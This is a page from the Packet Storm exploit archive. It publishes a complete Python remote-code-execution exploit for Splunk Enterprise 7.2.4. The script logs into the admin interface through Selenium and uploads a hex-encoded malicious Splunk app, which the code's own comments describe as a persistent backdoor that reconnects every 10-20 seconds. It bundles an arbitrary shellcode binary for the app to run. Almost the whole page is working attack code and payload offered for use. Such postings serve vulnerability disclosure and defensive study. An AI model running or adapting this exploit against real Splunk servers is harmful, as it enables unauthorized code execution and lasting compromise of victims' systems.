exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Splunk Enterprise 7.2.4 Remote Code Execution

Splunk Enterprise 7.2.4 Remote Code Execution
Posted Mar 5, 2019
Authored by Matteo Malvica, Lee Mazzoleni

Splunk Enterprise version 7.2.4 custom application remote code execution exploit using a persistent backdoor with a custom binary payload.

tags | exploit, remote, code execution
SHA-256 | 409a62d7cf31cbc8fd45c944b0cc9a10a0a308719ab65e9a92813651a3d8b393

Splunk Enterprise 7.2.4 Remote Code Execution

Change Mirror Download
#!/usr/bin/python

# Exploit Title: Splunk Enterprise 7.2.4 Custom App RCE (persistent backdoor - custom binary payload)
# Date: March 1, 2019
# Exploit Author: Matteo Malvica
# Original Author: Lee Mazzoleni
# Vendor Homepage: https://www.splunk.com/
# Software Link: https://www.splunk.com/en_us/download/splunk-enterprise.html
# Version: 7.2.4
# Tested on: kali 4.18.0-kali2-amd64
# CVE : n/a

# NOTES: Due to python interoperability issue on CentOS, I have upgraded the exploit to
# support any kind of binary or payload so the exploit does not have to rely on any python libraries

from selenium import webdriver
from selenium.webdriver.common.keys import Keys
from time import sleep
from sys import stdout,argv
from os import getcwd,path,system
from subprocess import Popen
import os
import stat
import binascii

# Download and unpack the correct version for your OS from here: github.com/mozilla/geckodriver/releases
gecko_driver_path = '/root/Desktop/geckodriver'

def checkLogin(url):
if '/login' not in url and '/logout' not in url:
print 'Login successful!'
else:
print 'Login failed! Aborting...'
exit()


def checkUrl(url):
if '_upload' not in url:
print '[-] Navigation error, aborting...'
exit()


def exploit(splunk_target_url, splunk_admin_user, splunk_admin_pass):
print '[+] Starting bot ...'
profile = webdriver.FirefoxProfile()
profile.accept_untrusted_certs = True
driver = webdriver.Firefox(firefox_profile=profile, executable_path=gecko_driver_path)

print '[*] Loading the target page ...'
driver.get(splunk_target_url)
sleep(1)

stdout.write('[*] Attempting to log in with the provided credentials ... ')
username_field = driver.find_element_by_name("username")
username_field.clear()
username_field.send_keys(splunk_admin_user)
sleep(1)

pw_field = driver.find_element_by_name("password")
pw_field.clear()
pw_field.send_keys(splunk_admin_pass)
pw_field.send_keys(Keys.RETURN)
sleep(3)

current_url = driver.current_url
checkLogin(current_url)

url = driver.current_url.split('/')
upload_url = url[0] + '//' + str(url[2]) + '/' + url[3] + '/manager/appinstall/_upload'
print '[*] Navigating to the uploads page ({}) ...'.format(upload_url)
driver.get(upload_url)
sleep(1)

current_url = driver.current_url
checkUrl(current_url)

form = driver.find_element_by_tag_name("form")
input = form.find_element_by_id("appfile")
input.send_keys(getcwd()+'/'+'splunk-shell.tar.gz')
force_update = driver.find_element_by_id("force")
force_update.click()
submit_button = driver.find_element_by_class_name("splButton-primary")
submit_button.click()

print '[*] Your persistent shell has been successfully uploaded!'
print '[*] Be patient, this might take up to a minute...!'
driver.quit()


def generatePayload(shellcode):
# this hex decodes into the evil splunk app (tar.gz file) that we will be uploading as the payload
# after the app is written to disk, together with the provided custom shellcode.
# the app configuration sets it to be enabled upon installation (restarting splunk / manually enabling it is not required.)
# this is a PERSISTENT backdoor, there is no need to re-upload multiple times... the backdoor will reconnect every 10-20 seconds

# CHANGED: the compressed app folder structure is loading a custom binary from inputs.conf
print '[*] Creating Splunk App...'
shell = '1f8b0800e229795c0003ed9c5b6fdbc81580a95c363283b65ea068b7401f06711749dc58e24da4ad34ad9dc44183a6dd20f2260b288a322247126b8a6449cab2374d11f407f4bddbd75efe47db97bef5adfd237def197264eb6ad95959c93ae703a42139c3b99d396766c8e1c4a1d7f577d7e236f3bca27436288a62954a2475cdcc553423730544d50dddd434c3d44ca2a8866ae812299d517e86e8c6098d202b1d9a242c981e0e82359bc7c423ca71e87e438807e55fa817ee57ea952488d83cd380fa300d63bafc556b40fea606f2371543958832cf4c4ce30397bf74f97b57a40b92f44b6a93cf2ae40b22e0d7a425f869f07b003f7ebecf6fe887d85c9e16e5d6cece1371b8dfbf0b793f19d6ffb3d0fe59faaf1a8a628ce87fc9d44aa8ff0b2277b7eba892c4d5392f65ee257972d0bcf88d7141b81ff1f8781c71d8f082069cfdab11ce3dc70882cc1baebb17a586e44a7ea337a8bf9e1b278af29fdc858b972e7f74259f97f3f2b7e45aa51df42a094dbaf15d1a55f9d9639ab41be2782708bcc363da78eab25e7df9bbf7023fa1aecfa2f466d76110e4f933d77782dedda0eb3b7175c0239f5fca2fd5973f79f54a2f29b788baa1bdbe455e59161c435ff1faf552fefb9faa771ebeec1c7cf9eab7af7ff7c7ac14b99c28ce77468af7d551f1f62a91ef057e4b4a8d95744572242635252a75254f4ace6be1478a39520997e15a20d9e0eb0d54c0fffa15f0df7e052cc95797ae7efbead27015d4977f2832fecc7592f60ef3b73db6c7fccfa247346173ab95c19aceaf6c36ff9d166e564de57f70fdc19317dddfffe1ab3ffdf92f7ffddbdfff3152591f8f54d63f87ab63a4a2ce25a260f9abef361b0882bc8770fb4084bb29dc37999b13fe17847b69e09e65e112e16e0af74de6e644b80bc2bd24dcbc7097854b84bb29dc37992b8c564e4c3e7222e59c98a1e4c4038a1c11eee6a98a8c201f0c17336799f7ffdbd3e7ff08829c637297ee57eedf95a6cf74785f4be0f7b27f8334792020c2f2aef813e9282c11eea670df642e0e0410044116cdd0fbbf86eb9fc51a90d3acffb00c85afffb05405d77f2c8221f93bac49bb5e32ef367042f96b9a6a6a4a89cbbf542a6928ff4530247f2fb0e919ac02e37217557352f96b8a89f25f0423f26fc567d001bc85fe2b16eaff4218923f0dc398457b2c9a6f2338bdfc4d552fa1fc17c190fc3b2ca10e4de89c6dc05be8bf85f67f314c967f3a1028f0d379a401f5611ed7ff5b9a35227fcb344c5cffb708aa60f38bae0fa503f90bb71e07ddc86675bbcdecddb8dba9c9d025c46ee0933bc42a68055dee044ee276189cab25a3b4a199d6ba52009d35d761a0a7c8f250acf09fb013c56115f40d5dd7b42c8e9a4c6d9bc53184881875489954c92aa9dd22bdc84d58ff5466fb61102510283e8813d6999dce7a492f6c94544b578ff2da75676710caa7140c553537cca31b3ddaf5a19ea29a1cf47c164160ea745cffa491e99abe7e145948ed5dda62c5b4e2ebcd20aa7743d047169f3873869295eac4f29facff622238270b0019328e5bffafebfab0fe6b60012cd4ff4570522d93ab611484713166bed3a1ae571c57bcbe02f84123700e64796565853c7db8fdacb2b3b5b35d2913be1e0c3ca30ef54817c6993189db41d773488311daf018490262431e20d5b84d23e6903d97f552eb1143fa472727ccf2bbaeda6f0453c6ffbca25d7b4ee3c0d38fff2c433370fcb7088e973f5cf05c1b0e03bf60c7f15ba631c3feeb9aa18dd87fcd3014b4ff8ba0b84aeeb5a9df02ebdb06331c86c40b5a0181110d2b1012b324bdde666eab9d147b7c6d2f81710939801122713b3058b945684c7ad07ab8cbc38614c28029e7c76908b25a940b10f3231ef12b997f3b96c55726861eeedf26e9a534ee325957e04a7aa10183a156c49700974937f26ef4dba4db6915e35d185c1e3eaeceda709d67bcdef0e0b642e8b76e4257b316b110fa13024d2a8bb3fe75226db9cdb1485fcb32d4e04e37f2090cce7891c5fd240c6297eb8debb748d04cbdae55d238c9e3a007d5eb5c1baa6a5e49599ac27ba0ba8aabab72f6d1dd2af9dcb7834e87f999609a81e7053d9e86e7fa2c26377a2ed4fe75c785a8e8c175c23b6d16252e8b6f72994087db4bef4b53e66966d113714399ac75822fd75c9fc7b6067563ef661577e82fbc1a3043dcbdcd2318cb609aef341bbd36ef8e13b69f1c7a9235d21d2c400cfebd805c3f92cb609e89dbe42dedba03a5db85d649862b302bc5485203851a103697f5b599c20eb37833a1a751f296746d50eab11d419573e19324a27e1cc240c54fc65bd75b2708adec240942317911b92e3edc3607bcec03ee05c8877f93a59336ea61e99cbd70e6269d433d5f94740e6dc0bca5236ca1a6f70d5f87462dd75f4b82b0ac1e5ecccca359e2e799d191bb5c3e6d37e68a2df433d56d9fc2bc50981c30bb852c64aab6595afc06eafc1a7a3e423db7e5a7f24e25c54b5a00c1ca6e735254041273fd430372abdf410ce5a10cd5e3b3db503a61f77f0e6374163d8be010e6076d5518353bf082a8bc62e9b45412e679208fa26f80b2beeb1ef27c33fefe87cfeee0608e69cc9aff2b8a3afafcdfd0f0f9df4240f5fab099aaff05756e69bc85fe974cfcfe7f21a0fe7fd84c58ffc3c78c76e01fd7d84fc7acf77fa0fba3fa6feaa8ff0ba12aded2d5e4f4d93ab94398cf1fc63bb25ce52fc5dcb8bee7c62e7f3c7f87a870f1e885975c15efab6af2d80bab34f0bb2e1b329b89eb3fe76c0166e9bf668deabfa55a06eaff22588169f753f16e592d2805455ee93fc8e1137ede0adc56374a5f0190a6eb3150fb31930133ffcc664c594
bytes = shell.decode('hex')
f = open('splunk-shell.tar.gz','wb')
f.write(bytes)
f.close()

if shellcode == "evil":
print "shellcode filename needs to be different - please change it"
exit()

print '\t==> Adding custom shellcode'
# custom shellcode loading
with open(shellcode, "rb") as binaryfile :
evil_bytes = bytearray(binaryfile.read())
f = open('evil','w')
f.write(evil_bytes)
f.close()
st = os.stat('evil')
# making the binary executable
os.chmod('evil', st.st_mode | stat.S_IEXEC)
decompress_cmd = 'tar zxvf splunk-shell.tar.gz &>/dev/null; rm splunk-shell.tar.gz'
p = Popen(decompress_cmd, shell=True, executable='/bin/bash')
p.wait()
move_cmd = 'cp evil splunk-shell/bin/'
p = Popen(move_cmd, shell=True, executable='/bin/bash')
p.wait()
compress_cmd = 'tar zcvf splunk-shell.tar.gz splunk-shell/ &>/dev/null; rm -r splunk-shell/'
p = Popen(compress_cmd, shell=True, executable='/bin/bash')
p.wait()
if path.isfile('splunk-shell.tar.gz'):
print '\t==> Payload Ready! (splunk-shell.tar.gz)'

def showUsage():
print '\n\tScript Usage: {} <targetUrl> <username> <password> <shellcode>'.format(argv[0])
print '\tExample: {} http://192.168.4.16:8000 admin changeme shellcode.bin\n'.format(argv[0])

if len(argv) != 5:
showUsage()
exit()

if not path.isfile(gecko_driver_path):
print '\n\t[!] This program requires geckodriver, download the corresponding version for your OS from the following link:'
print '\t\t==> https://github.com/mozilla/geckodriver/releases'
print '\n\t[!] Extract the geckodriver binary, then add its full path to line 20 of this script.'
print '\t\t==> gecko_driver_path = "/tmp/geckodriver"\n'
exit()

splunk_target_url = argv[1]
splunk_admin_user = argv[2]
splunk_admin_pass = argv[3]
splunk_shellcode = argv[4]
generatePayload(splunk_shellcode)
exploit(splunk_target_url, splunk_admin_user, splunk_admin_pass)
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close